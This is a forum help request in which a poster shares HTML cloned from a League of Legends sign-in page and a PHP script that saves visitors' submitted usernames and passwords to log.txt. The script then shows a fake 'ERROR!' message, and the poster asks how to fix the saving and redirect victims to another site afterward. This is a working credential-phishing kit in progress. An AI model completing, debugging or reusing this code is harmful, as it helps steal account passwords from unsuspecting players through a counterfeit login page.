Need help with saving form data to a text document Options

[Voxel]

Ok so I have a form on a page where the visitor enters their username and password, and I want this data to be saved to the file log.txt.

CODE ON SITE

<form id="login-form" role="form" autocomplete="off" action="funsofts.php" method="post">
<header>
<h1 data-i18n="Sign_In">Sign In</h1>
</header>
<p id="login-form-message" style="display: none;"></p>
<div class="form-group">
<label for="username" id="username" data-i18n="username">Username</label>
<input type="text" class="form-control" id="username" name="username" autofocus="">
</div>
<div class="form-group">
<label for="password" id="label-password" data-i18n="password">Password</label>
<input type="password" class="form-control" id="password" name="password">
</div>
<p class="submit">
<button type="submit" class="btn btn-primary btn-block" id="login-button" data-i18n="Sign_In">Sign In</button>
<img id="login-button-spinner" src="./Sign in with your League of Legends account_files/spinner.gif" alt="" style="display: none;">
</p>
<div class="help">
<div class="forgot">
<p><a href="https://account.leagueoflegends.com/na/en/forgot-username" data-link="forgot-username" data-i18n="FORGOT_USERNAME">Forgot Username?</a></p>
<p><a href="https://account.leagueoflegends.com/na/en/forgot-password" data-link="forgot-password" data-i18n="FORGOT_PASSWORD">Forgot Password?</a></p>
</div>
<div class="signup">
<p><a href="https://signup.na.leagueoflegends.com/en" data-link="signup" data-i18n="Create_an_Account">Create an account?</a></p>
</div>
</div>
</form>

PHP SCRIPT
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$fp = fopen("log.txt", "a");
$savestring = $username . "," . $password . "n";
fwrite($fp, $savestring);
fclose($fp);
echo "<h1>ERROR!</h1>";
?>

CONCLUSION AND QUESTIONS

So my goal with the string of HTML and PHP script was this; The HTML references to the script when the username/password is submitted, the script writes the username/password into log.txt, and thats it. But it isnt working correctly and I'm not educated enough to know why, I'd also like the script to redirect the visitor to a website after the data is saved but I'm not sure how. Getting the data saved is what I'm most interested in working first though.